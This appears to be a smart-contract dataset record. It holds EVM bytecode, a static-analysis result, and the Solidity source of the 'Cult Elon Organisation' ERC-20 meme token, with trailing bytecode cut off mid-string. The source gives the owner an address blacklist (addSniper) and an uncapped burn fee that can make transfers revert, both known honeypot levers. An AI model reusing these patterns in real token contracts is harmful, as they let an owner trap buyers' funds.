0x6080604052600436106101cb5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416620e7fa881146102af5780630563451a146102d65780630ab3bb1b146102eb5780630ca9183c1461030057806317473975146103155780631d7918421461032a578063256697df1461035f57806329bf35471461037457806333ab17051461039557806334b0e5ed146103b657806338af3eed146103cb5780633bed33ce146103fc578063407532bb146104145780634451d89f146104295780634748f7c21461043e5780635872282d146104535780635b18056b146104685780636ae81ae11461047d5780636e66f6e91461049257806370a08231146104a75780637228057f146104c85780637845b86e146104dd5780637ebdf57d146104f2578063827037db146105075780639af041aa1461051c578063a2ab268614610555578063b15dc5231461055d578063b7f84ae214610572578063bfbf95cf14610587578063c825a9391461059e578063c831306e146105b3578063cd72ab69146105c8578063d0c426e6146105dd578063d81c2232146105f2578063ef39fe3514610607578063f611fb1e1461061f578063f851a44014610640575b600160025460a060020a900460ff1660048111156101e557fe5b148061020757506002805460a060020a900460ff16600481111561020557fe5b145b806102295750600360025460a060020a900460ff16600481111561022757fe5b145b151561023457600080fd5b600160025460a060020a900460ff16600481111561024e57fe5b14156102615761025c610655565b6102ad565b6002805460a060020a900460ff16600481111561027a57fe5b148061029d5750600360025460a060020a900460ff16600481111561029b57fe5b145b156102ad576102ad6000806107aa565b005b3480156102bb57600080fd5b506102c4610ac9565b60408051918252519081900360200190f35b3480156102e257600080fd5b506102c4610acf565b3480156102f757600080fd5b506102c4610ad5565b34801561030c57600080fd5b506102c4610adb565b34801561032157600080fd5b506102c4610ae1565b34801561033657600080fd5b5061034b600160a060020a0360043516610ae7565b604080519115158252519081900360200190f35b34801561036b57600080fd5b506102c4610afc565b34801561038057600080fd5b506102c4600160a060020a0360043516610b02565b3480156103a157600080fd5b506102c4600160a060020a0360043516610b14565b3480156103c257600080fd5b506102c4610b26565b3480156103d757600080fd5b506103e0610b2c565b60408051600160a060020a039092168252519081900360200190f35b34801561040857600080fd5b506102ad600435610b3b565b34801561042057600080fd5b506102c4610bcd565b34801561043557600080fd5b506102ad610bd3565b34801561044a57600080fd5b506102c4610e47565b34801561045f57600080fd5b506102c4610e4d565b34801561047457600080fd5b506102c4610e53565b34801561048957600080fd5b506102c4610e59565b34801561049e57600080fd5b506103e0610e5f565b3480156104b357600080fd5b506102c4600160a060020a0360043516610e6e565b3480156104d457600080fd5b506102c4610e80565b3480156104e957600080fd5b506102c4610e86565b3480156104fe57600080fd5b506102c4610e8c565b34801561051357600080fd5b506102c4610e92565b34801561052857600080fd5b50610531610e98565b6040518082600481111561054157fe5b60ff16815260200191505060405180910390f35b6102ad610ea8565b34801561056957600080fd5b506102c4610eb2565b34801561057e57600080fd5b506102c4610eb8565b6102ad600160a060020a0360043516602435610ebe565b3480156105aa57600080fd5b506102c4610ecc565b3480156105bf57600080fd5b506102c4610ed2565b3480156105d457600080fd5b506102c4610ed8565b3480156105e957600080fd5b506102ad610ede565b3480156105fe57600080fd5b506102c4610fe8565b34801561061357600080fd5b506102ad600435610fee565b34801561062b57600080fd5b506102c4600160a060020a0360043516611059565b34801561064c57600080fd5b506103e061106b565b60008080600160025460a060020a900460ff16600481111561067357fe5b1461067d57600080fd5b6005546015541061068d57600080fd5b60035434101561069c57600080fd5b34925060045491506106ae838361107a565b9050600d546106bf601654836110a9565b11156106ca57600080fd5b6005546106d9601554856110a9565b106106e8576106e860026110b6565b3360009081526019602052604090205461070290846110a9565b3360009081526019602052604090205560155461071f90846110a9565b60155560188054600101905560165461073890826110a9565b601655336000908152601a602052604090205461075590826110a9565b336000818152601a60205260409020919091556001604080518681526001602082015281517f6c6b11f3a8e176254c4f4557fe12700fc35891342cf99aedb2af0f0aa2f1636a929181900390910190a3505050565b6000808080806002805460a060020a900460ff1660048111156107c957fe5b14806107ec5750600360025460a060020a900460ff1660048111156107ea57fe5b145b15156107f757600080fd5b6002805460a060020a900460ff16600481111561081057fe5b14156108475760085442101580156108295750600b5442105b1561083d5761083860036110b6565b610842565b600080fd5b610885565b600360025460a060020a900460ff16600481111561086157fe5b141561088557600854421015801561087a5750600b5442105b151561088557600080fd5b600160a060020a03871633141561089b57600080fd5b600186101580156108ad575060648611155b15156108b857600080fd5b349450600c5493506108ca858561107a565b92506108df836108da858a6111b9565b6110a9565b915060009050600160a060020a0387161561090f57606461090284600f5461107a565b81151561090b57fe5b0490505b600d54610927610921601654856110a9565b836110a9565b10156109415760035434101561093c57600080fd5b61095d565b600d54610953610921601654856110a9565b1461095d57600080fd5b600d5461096f610921601654856110a9565b141561097f5761097f60046110b6565b3360009081526019602052604090205461099990866110a9565b33600090815260196020908152604080832093909355601b905220546109bf90846110a9565b336000908152601b6020908152604080832093909355601c9052208690556015546109ea90866110a9565b601555601880546001019055601654610a0390836110a9565b601655336000908152601a6020526040902054610a2090836110a9565b336000908152601a60205260409020558015610a8257610a42601654826110a9565b601655600160a060020a0387166000908152601a6020526040902054610a6890826110a9565b600160a060020a0388166000908152601a60205260409020555b336003604080518881526001602082015281517f6c6b11f3a8e176254c4f4557fe12700fc35891342cf99aedb2af0f0aa2f1636a929181900390910190a350505050505050565b60045481565b600b5481565b600d5481565b60135481565b60065481565b601d6020526000908152604090205460ff1681565b60175481565b601c6020526000908152604090205481565b601a6020526000908152604090205481565b600c5481565b600154600160a060020a031681565b600154600160a060020a03163314610b5257600080fd5b600154604051600160a060020a039091169082156108fc029083906000818181858888f1935050505015610bca57600154600160a060020a03166004604080518481526000602082015281517f6c6b11f3a8e176254c4f4557fe12700fc35891342cf99aedb2af0f0aa2f1636a929181900390910190a35b50565b60055481565b60008080600360025460a060020a900460ff166004811115610bf157fe5b1480610c145750600460025460a060020a900460ff166004811115610c1257fe5b145b1515610c1f57600080fd5b600360025460a060020a900460ff166004811115610c3957fe5b1415610c6257600d546016541480610c535750600b544210155b1561083d57610c6260046110b6565b336000908152601a602052604081205411610c7c57600080fd5b336000908152601a6020526040902054601454600b5491945001421015610d6d576000600e541115610d6d57600d54610cb8601654606461107a565b811515610cc157fe5b0491506064821115610cd257606491505b336000908152601c6020526040902054821415610d6d57336000908152601d602052604090205460ff161515610d6d57336000908152601d60209081526040808320805460ff19166001179055601b909152902054601354606491610d369161107a565b811515610d3f57fe5b049050600e54811115610d515750600e545b610d5d600e548261122b565b600e55610d6a83826110a9565b92505b336000908152601a6020526040812055601754610d8a90846110a9565b60175560008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152602481018790529051600160a060020a039092169263a9059cbb9260448084019382900301818387803b158015610df457600080fd5b505af1158015610e08573d6000803e3d6000fd5b50506040805186815290513393507fe42df0d9493dfd0d7f69902c895b94c190a53e8c27876a86f45e7c997d9d8f7c92509081900360200190a2505050565b60105481565b600f5481565b60185481565b60125481565b600054600160a060020a031681565b60196020526000908152604090205481565b60165481565b60145481565b60095481565b60085481565b60025460a060020a900460ff1681565b610eb0610655565b565b60035481565b60075481565b610ec882826107aa565b5050565b600e5481565b600a5481565b60155481565b6000600460025460a060020a900460ff166004811115610efa57fe5b14610f0457600080fd5b601454600b5401421015610f1757600080fd5b600254600160a060020a03163314610f2e57600080fd5b600e54600010610f3d57600080fd5b50600e80546000918290558154604080517f42966c680000000000000000000000000000000000000000000000000000000081526004810184905290519293600160a060020a03909216926342966c6892602480840193602093929083900390910190829087803b158015610fb157600080fd5b505af1158015610fc5573d6000803e3d6000fd5b505050506040513d6020811015610fdb57600080fd5b50511515610bca57600e55565b60115481565b600254600160a060020a0316331461100557600080fd5b60018110158015611017575060048111155b151561102257600080fd5b60025460a060020a900460ff16600481111561103a57fe5b811161104557600080fd5b610bca81600481111561105457fe5b6110b6565b601b6020526000908152604090205481565b600254600160a060020a031681565b600082151561108b575060006110a3565b5081810281838281151561109b57fe5b04146110a357fe5b92915050565b818101828110156110a357fe5b6002805482919074ff0000000000000000000000000000000000000000191660a060020a8360048111156110e657fe5b021790555060028160048111156110f957fe5b1415611124576006544201600881905560075490810160098190558101600a81905501600b55610bca565b600481600481111561113257fe5b1415610bca57600b544210156111475742600b555b600d54601654101561116b57611167600e546108da600d5460165461122b565b600e555b60015460155460408051600160a060020a039093168352602083019190915280517f75752a50a3fbc913b71acaa1f36a9476e41fa4c5cf2d48c64c6ec3c57a2bd6669281900390910190a150565b6000808080806111c761123d565b925082156111e85760646111db888561107a565b8115156111e457fe5b0493505b60009150600160a060020a0386161561121657606461120988600f5461107a565b81151561121257fe5b0491505b61122084836110a9565b979650505050505050565b60008282111561123757fe5b50900390565b60095460009081904210156112555750601054611264565b600a5442101561126457506011545b9190505600a165627a7a7230582001229e3a487d6d77541ed308072148f7ff351e8de1f14268ae6cb8448f9016930029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 2,688 |
0x6a71a0a142d5cbe46d8aaa157a0ab57f90f6ce6f
|
/**
*Submitted for verification at Etherscan.io on 2022-04-12
*/
/**
*SPDX-License-Identifier: Unlicensed
*Cult Elon Organisation
*https://t.me/CultElonOrganisation
*https://cultelon.org
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CEO is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Cult Elon Organisation";
string private constant _symbol = "CEO";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e11 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 12;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 12;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 41;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0xA6259eb0c626bb755C03f8C77eb592cB54Ef0Ac1);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 2e9 * 10**9;
uint256 public _maxWalletSize = 2e9 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createPair() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
require(amountBuy >= 0 && amountBuy <= 15);
require(amountSell >= 0 && amountSell <= 15);
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
require(amountRefBuy >= 0 && amountRefBuy <= 1);
require(amountRefSell >= 0 && amountRefSell <= 1);
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
_burnFee = amount;
}
}
|
0x6080604052600436106101f25760003560e01c80636fc3eaec1161010d5780638da5cb5b116100a0578063a9059cbb1161006f578063a9059cbb146105a0578063c5528490146105c0578063dd62ed3e146105e0578063ea1644d514610626578063f2fde38b1461064657600080fd5b80638da5cb5b1461052b5780638f9a55c01461054957806395d89b411461055f5780639e78fb4f1461058b57600080fd5b8063790ca413116100dc578063790ca413146104ca5780637c519ffb146104e05780637d1db4a5146104f5578063881dce601461050b57600080fd5b80636fc3eaec1461046057806370a0823114610475578063715018a61461049557806374010ece146104aa57600080fd5b80632fd689e31161018557806349bd5a5e1161015457806349bd5a5e146103e05780634bf2c7c9146104005780635d098b38146104205780636d8aa8f81461044057600080fd5b80632fd689e31461036e578063313ce5671461038457806333251a0b146103a057806338eea22d146103c057600080fd5b806318160ddd116101c157806318160ddd146102f057806323b872dd1461031657806327c8f8351461033657806328bb665a1461034c57600080fd5b806306fdde03146101fe578063095ea7b31461024f5780630f3a325f1461027f5780631694505e146102b857600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5060408051808201909152601681527521bab63a1022b637b71027b933b0b734b9b0ba34b7b760511b60208201525b6040516102469190611f8c565b60405180910390f35b34801561025b57600080fd5b5061026f61026a366004611e37565b610666565b6040519015158152602001610246565b34801561028b57600080fd5b5061026f61029a366004611d83565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102c457600080fd5b506016546102d8906001600160a01b031681565b6040516001600160a01b039091168152602001610246565b3480156102fc57600080fd5b5068056bc75e2d631000005b604051908152602001610246565b34801561032257600080fd5b5061026f610331366004611df6565b61067d565b34801561034257600080fd5b506102d861dead81565b34801561035857600080fd5b5061036c610367366004611e63565b6106e6565b005b34801561037a57600080fd5b50610308601a5481565b34801561039057600080fd5b5060405160098152602001610246565b3480156103ac57600080fd5b5061036c6103bb366004611d83565b610785565b3480156103cc57600080fd5b5061036c6103db366004611f6a565b6107f4565b3480156103ec57600080fd5b506017546102d8906001600160a01b031681565b34801561040c57600080fd5b5061036c61041b366004611f51565b610845565b34801561042c57600080fd5b5061036c61043b366004611d83565b610874565b34801561044c57600080fd5b5061036c61045b366004611f2f565b6108ce565b34801561046c57600080fd5b5061036c610916565b34801561048157600080fd5b50610308610490366004611d83565b610940565b3480156104a157600080fd5b5061036c610962565b3480156104b657600080fd5b5061036c6104c5366004611f51565b6109d6565b3480156104d657600080fd5b50610308600a5481565b3480156104ec57600080fd5b5061036c610a05565b34801561050157600080fd5b5061030860185481565b34801561051757600080fd5b5061036c610526366004611f51565b610a5f565b34801561053757600080fd5b506000546001600160a01b03166102d8565b34801561055557600080fd5b5061030860195481565b34801561056b57600080fd5b5060408051808201909152600381526243454f60e81b6020820152610239565b34801561059757600080fd5b5061036c610adb565b3480156105ac57600080fd5b5061026f6105bb366004611e37565b610cc0565b3480156105cc57600080fd5b5061036c6105db366004611f6a565b610ccd565b3480156105ec57600080fd5b506103086105fb366004611dbd565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561063257600080fd5b5061036c610641366004611f51565b610d1e565b34801561065257600080fd5b5061036c610661366004611d83565b610d5c565b6000610673338484610e46565b5060015b92915050565b600061068a848484610f6a565b6106dc84336106d785604051806060016040528060288152602001612191602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611616565b610e46565b5060019392505050565b6000546001600160a01b031633146107195760405162461bcd60e51b815260040161071090611fe1565b60405180910390fd5b60005b81518110156107815760016009600084848151811061073d5761073d61214f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107798161211e565b91505061071c565b5050565b6000546001600160a01b031633146107af5760405162461bcd60e51b815260040161071090611fe1565b6001600160a01b03811660009081526009602052604090205460ff16156107f1576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b0316331461081e5760405162461bcd60e51b815260040161071090611fe1565b600182111561082c57600080fd5b600181111561083a57600080fd5b600b91909155600d55565b6000546001600160a01b0316331461086f5760405162461bcd60e51b815260040161071090611fe1565b601155565b6015546001600160a01b0316336001600160a01b03161461089457600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146108f85760405162461bcd60e51b815260040161071090611fe1565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b03161461093657600080fd5b476107f181611650565b6001600160a01b0381166000908152600260205260408120546106779061168a565b6000546001600160a01b0316331461098c5760405162461bcd60e51b815260040161071090611fe1565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a005760405162461bcd60e51b815260040161071090611fe1565b601855565b6000546001600160a01b03163314610a2f5760405162461bcd60e51b815260040161071090611fe1565b601754600160a01b900460ff1615610a4657600080fd5b6017805460ff60a01b1916600160a01b17905542600a55565b6015546001600160a01b0316336001600160a01b031614610a7f57600080fd5b610a8830610940565b8111158015610a975750600081115b610ad25760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610710565b6107f18161170e565b6000546001600160a01b03163314610b055760405162461bcd60e51b815260040161071090611fe1565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610b6557600080fd5b505afa158015610b79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b9d9190611da0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610be557600080fd5b505afa158015610bf9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c1d9190611da0565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c6557600080fd5b505af1158015610c79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c9d9190611da0565b601780546001600160a01b0319166001600160a01b039290921691909117905550565b6000610673338484610f6a565b6000546001600160a01b03163314610cf75760405162461bcd60e51b815260040161071090611fe1565b600f821115610d0557600080fd5b600f811115610d1357600080fd5b600c91909155600e55565b6000546001600160a01b03163314610d485760405162461bcd60e51b815260040161071090611fe1565b601954811015610d5757600080fd5b601955565b6000546001600160a01b03163314610d865760405162461bcd60e51b815260040161071090611fe1565b6001600160a01b038116610deb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610710565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ea85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610710565b6001600160a01b038216610f095760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610710565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fce5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610710565b6001600160a01b0382166110305760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610710565b600081116110925760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d757374206265206772656174657220604482015268746